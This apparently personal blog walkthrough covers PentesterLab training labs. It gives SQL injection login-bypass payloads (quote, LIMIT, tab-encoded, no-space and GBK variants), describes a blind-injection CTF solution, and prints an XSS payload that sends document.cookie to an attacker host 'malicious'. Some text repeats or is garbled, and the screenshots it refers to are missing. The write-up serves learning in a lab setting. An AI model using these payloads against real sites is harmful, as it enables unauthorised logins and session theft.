This is the first challenges i would try in the pentester lab series, all special thanks to our admirable captain for making this possible.

SQL Injection 01

This exercise is one of pentesterlab challenges on SQL Injections

main goal of the challenge is to login as admin by bypassing the login page using SQL injection. The SQL query looks something like:

SELECT * FROM user WHERE login='[USER]' and password='[PASSWORD]';

Where: [USER] and [PASSWORD] are the values you submitted.

The logic behind the authentication is:

if the query returns at least one result, you’re in
if the query returns no result, you have not provided a valid username and password.

To solve this challenge we startup an instance and follow the provided instance link, we then see a webpage with a login screen

we then try injecting our basic injection payload as follows:

' OR 'cyberguru'='cyberguru' -- 

remember to always add an extra space at the end of the comment -- or #

we submit this this way:

and we got the following result:

SQL Injection 02

This exercise is one of pentesterlab challenges on SQL Injectionscise is one of our challenges on SQL Injections

This challenge is simillar to the previous challenge only that we have to make it adapt to double-quotes, so we update our payload to this:

" OR 'cyberguru'='cyberguru' --

and got the following result

SQL Injection 03

This exercise is one of pentesterlab challenges on SQL Injectionscise is one of our challenges on SQL Injections

In this exercise, the developer checked that only one result is return by the database. You should be able to bypass this check by using the keyword LIMIT.

This challange is simillar to the first challenge the only difference is that there is a duplicate search query done by the developer in order to mitigate this we add a simple LIMIT to our payload

following payload was used:

' OR 'cyberguru'='cyberguru' LIMIT 1 -- 

we sumbit this:

and got this result:

SQL Injection 04

This exercise is one of pentesterlab challenges on SQL Injectionscise is one of our challenges on SQL Injections.

NO SPACE. This error message appears as soon as a space is injected inside the request. It prevents us from using the ’ or ‘1’=’1 method, or any fingerprinting that uses the space character. However, this filtering is easily bypassed, using tabulation (HT or \t). You will need to use encoding, to use it inside the HTTP request. Using this simple bypass, you should be able to see how to detect this vulnerability.

When we try to login using the injection payload we got this error:

To solve this lab we need to bypass the “NO SPACE” filtering implemented on the server we do this by replacing the sapce with a tab; but then we can’t possible insert a tab character on the username input fields so we decide to intercept the request using burp and insert the Tab

To insert the tab character, we need to URL encode it so that it could be pass into the http request; burpsuite provides an extension called “DECODER” to perform such actions.

the tab character can be URL encode as %09

our new payload now becomes:

%27%09OR%091%3D1%09--%09

we forward this request and got this:

SQL Injection 05

This exercise is one of pentesterlab challenges on SQL Injectionscise is one of our challenges on SQL Injections.

Challenge Description:

In this example, the developer blocks spaces and tabulations. There is a way to bypass this filter. You can:

you don’t need spaces between the keywords in your injection.
you can use # instead of **– ** (if necessary).

By applying these tricks, you should be able to exploit this vulnerability.

For this challange we need to solve it without using spaces nor tabs so to craft our payload we used:

'||1=1#

we replaced “OR” with the sql version of or as “

” we used an “#” comment so that we do not include a space at the end of the payload.

we send the payload and got this:

SQL Injection 06

This exercise is one of pentesterlab challenges on SQL Injectionscise is one of our challenges on SQL Injections.

This challenge requries us to exploit the GBK encoding for simplified chinese charset, this exploit is as a result of the database driver using a a different charset or not aware of the charset used and would not perform the right esacaping and create an exploitable window.

To solve this lab we use the encoding “\xBF’ “ to insert our injection payload we use the following payload to solve the lab:

%bf%27 OR 1=1 -- 

Sending this we get:

Luhn

This challenge was written for Ruxcon CTF 2015. It’s an SQL injection with a twist

This challenge is about a credit card checker that helps to check if your credit card have been compormised,

this challenge requries us to use the yes/no approach to extract data from the database, we first of all fuzz the qurey using different inputs, the algorithm used to verify if your the number entered is a correct credit card or not is the Luhn algo (from the challenge name) so what it basically does is to double each second digit by two starting from the right most number and subtract 9 if it’s greater than nine;

i found a script online “credits to mmmds to solve this challenge; so what this script does is to extract each bit using the LIMIT and LIKE combo in the table then compose it back into ascii characters; how this is done is by querying the database for possible characters that might exist in the database he then use the compromise or not compromise result to decide if it really exist

running the script on the site we got:

and we got the key 🎉️

XSS and MySQL FILE

This exercise explains how you can use a Cross-Site Scripting vulnerability to get access to an administrator’s cookies. Then how you can use his/her session to gain access to the administration to find a SQL injection and gain code execution using it.

Link to solution

In Summary this lab talks about using xss and sql injection to run commands on target host systems, which is divided in two steps

Detection and exploitation of xss vulnerabilites: detecting XSS is trivial, the easiest way is to detect a lack of encoding in values echoed back in the page for example injecting the following:

Your payload can appear in the following ways in the page sent back by the server (and/or any other pages in the application, including pages you may not have access to):

| | | | | – | – | – |

Payload	Result
1337’”><	1337’”><
1337’”><	1337’“><
1337’”><	1337’"><
1337’”><	1337'"><

A lot can go wrong and can prevent a successful exploitation, and you will need to make sure that you have the correct syntax.

Our goal here, is to get the victim’s cookie. To do so, you can create a comment that include the following payload:

html hljs language-xml <script>document.write('<img src="http://malicious/?'+document.cookie+' "/>');</script>

Where malicious is the IP address or hostname of your server. When the comment will get loaded by the victim, the content of the <script> tag will get interpreted and will write (due to the call to document.write) in the page a <img tag with a URL that contains the cookie (due to the concatenation of the cookie by the JavaScript code). The browser will then try to load this image. Since the image’s URL contains the cookie, the malicious server will receive it.

𝖈𝖞𝖇𝖊𝖗𝖌𝖚𝖗𝖚💀~$

Hamza's Blog